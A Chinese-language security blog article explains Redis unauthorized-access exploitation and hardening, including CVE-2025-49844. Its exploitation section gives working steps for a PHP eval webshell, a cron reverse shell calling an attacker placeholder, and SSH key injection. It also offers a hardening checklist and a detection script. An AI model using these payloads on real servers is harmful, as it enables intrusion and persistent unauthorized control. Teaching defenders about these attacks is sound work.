Redis未授权访问漏洞利用工具与实战复现:安全加固刻不容缓

在当前云原生和微服务架构广泛普及的背景下,Redis 作为高性能的内存数据库被大量应用于缓存、会话存储和消息队列等场景。然而,其默认配置下的“无认证”特性,正成为企业网络安全中一个长期被忽视的重大隐患——Redis 未授权访问漏洞

Redis未授权访问漏洞利用工具与实战复现:安全加固刻不容缓

近期,一则关于 CVE-2025-49844 的消息再次敲响警钟:一个潜伏长达13年的严重漏洞(CVSS评分高达10.0)被曝光,允许经过身份验证的用户触发远程代码执行(RCE)。尽管该漏洞需要认证,但结合普遍存在的“未授权访问”问题,攻击链将变得异常致命。

本文将深入剖析 Redis 未授权访问漏洞的原理,介绍常用的利用工具与方法,并提供全面的安全加固建议,助您及时排查风险。


什么是 Redis 未授权访问漏洞?

Redis 默认监听在 0.0.0.0:6379 端口,且默认不启用密码认证(requirepass)。当管理员未正确配置 bind 地址限制或防火墙策略时,Redis 服务便可能暴露在公网。

一旦攻击者发现并连接到该服务,即可获得对 Redis 数据库的完全控制权限。更危险的是,Redis 提供了 CONFIG SET dirCONFIG SET dbfilename 等命令,允许修改数据持久化路径和文件名,从而实现任意文件写入,最终导致服务器级别的远程代码执行。

关键数据:据 Wiz 研究团队披露,全球仍有约 33 万个 Redis 实例暴露在互联网上,其中 6 万个未配置任何身份验证机制,风险极高。


常见利用方式与实战工具

以下是针对 Redis 未授权访问漏洞的几种经典利用手法及对应工具:

1. 写入 WebShell 获取网站控制权

前提条件

  • 目标服务器运行着 Web 服务(如 Apache/Nginx)

  • 已知 Web 根目录路径

  • Redis 对该目录有写入权限

利用工具

  • redis-cli(Redis 官方客户端)

  • 扫描工具:nmapmasscan

  • WebShell 连接工具:中国蚁剑、冰蝎

攻击步骤

1# 1. 连接目标 Redis
2redis-cli -h <target_ip>
3
4# 2. 设置持久化目录为 Web 目录
5config set dir /var/www/html/
6
7# 3. 修改持久化文件名为 PHP 脚本
8config set dbfilename shell.php
9
10# 4. 写入一句话木马
11set x "<?php @eval($_POST['cmd']);?>"
12
13# 5. 强制保存到磁盘
14save

成功后,攻击者可通过浏览器访问 http://<target>/shell.php,使用蚁剑等工具连接,直接控制网站服务器。


2. 利用计划任务反弹 Shell

适用场景

  • Redis 以 root 权限运行

  • 不清楚 Web 目录路径

核心思路:通过 Redis 将恶意命令写入 Linux 计划任务文件 /etc/crontab/var/spool/cron/root,定时执行反弹 Shell。

攻击流程

1# 攻击机监听端口
2nc -lvp 4444
3
4# Redis 操作
5config set dir /var/spool/cron/
6config set dbfilename root
7set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n\n"
8save

等待一分钟内,攻击机即可收到目标服务器的 Shell 回连,获得系统级权限。


3. 写入 SSH 公钥实现免密登录

高级利用方式:适用于开启 SSH 服务的 Linux 服务器。

操作步骤

  1. 在本地生成 SSH 密钥对:

    1ssh-keygen -t rsa
  2. 将公钥内容写入 Redis:

    1(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    2cat key.txt | redis-cli -h <target_ip> -x set pub
  3. 配置 Redis 持久化路径为 .ssh 目录:

    1config set dir /root/.ssh
    2config set dbfilename authorized_keys
    3save
  4. 使用私钥直接登录:

    1ssh -i id_rsa root@<target_ip>

此方法可长期维持对服务器的访问权限,隐蔽性强。


4. 高级利用:主从复制 + 模块加载 RCE

对于较新版本的 Redis(>=4.0),还可利用主从复制功能动态加载恶意模块(如 .so 文件),实现更稳定的远程代码执行。

相关开源工具

这类攻击无需依赖文件写入,绕过部分安全检测,是当前红队常用的技术手段。


如何检测与防范 Redis 未授权访问?

✅ 安全自查清单

检查项建议操作
是否绑定公网IP?修改 redis.conf 中 bind 为内网地址或 127.0.0.1
是否启用密码认证?配置 requirepass your_strong_password
是否开启保护模式?确保 protected-mode yes
是否限制访问来源?使用 iptables/firewalld 限制 IP 白名单
是否以低权限运行?使用非 root 用户启动 Redis 进程

🔍 自动化检测脚本(Python 示例)

1import redis
2import socket
3
4def check_redis_unauth(ip, port=6379):
5    try:
6        r = redis.StrictRedis(host=ip, port=port, timeout=5)
7        info = r.info()
8        print(f"[+] {ip}:{port} 存在未授权访问!Redis版本: {info.get('redis_version')}")
9        return True
10    except Exception as e:
11        if "NOAUTH" in str(e):
12            print(f"[-] {ip}:{port} 需要认证")
13        elif "Connection refused" in str(e):
14            print(f"[-] {ip}:{port} 连接失败")
15        else:
16            print(f"[!] {ip}:{port} 其他错误: {e}")
17        return False
18
19# 批量扫描示例
20targets = ["192.168.1.10", "192.168.1.11"]
21for ip in targets:
22    check_redis_unauth(ip)

最新高危漏洞 CVE-2025-49844 应对指南

根据 Redis 官方 2025 年 10 月公告,CVE-2025-49844 是一个影响所有支持 Lua 脚本版本的严重 RCE 漏洞。攻击者可通过恶意 Lua 脚本操控垃圾回收器,触发“释放后使用”漏洞。

受影响版本:所有启用 Lua 功能的 Redis 版本(潜伏13年!)

修复方案

  • 立即升级至官方发布的最新安全版本

  • 使用 Redis Cloud 服务的用户已自动修复

  • 自托管用户请尽快完成升级

入侵迹象排查

  • 未知来源的数据库访问

  • 异常网络流量

  • 无法解释的服务崩溃(尤其是 Lua 引擎报错)

  • 数据库中出现可疑脚本


安全无小事,防患于未然

Redis 未授权访问虽非新型漏洞,但因其配置简单、危害巨大,仍是近年来诸多挖矿、勒索事件的根源。随着 CVE-2025-49844 这类高危漏洞的曝光,企业必须高度重视中间件安全。

强烈建议

  1. 立即对所有 Redis 实例进行安全审计

  2. 启用密码认证 + 网络访问控制

  3. 定期更新至最新稳定版

  4. 避免以 root 权限运行服务

  5. 关注官方安全公告,及时打补丁

安全提示:本文仅用于技术研究与安全防护,请勿用于非法用途。遵守《网络安全法》,共建清朗网络空间。

发表评论

评论列表

还没有评论,快来说点什么吧~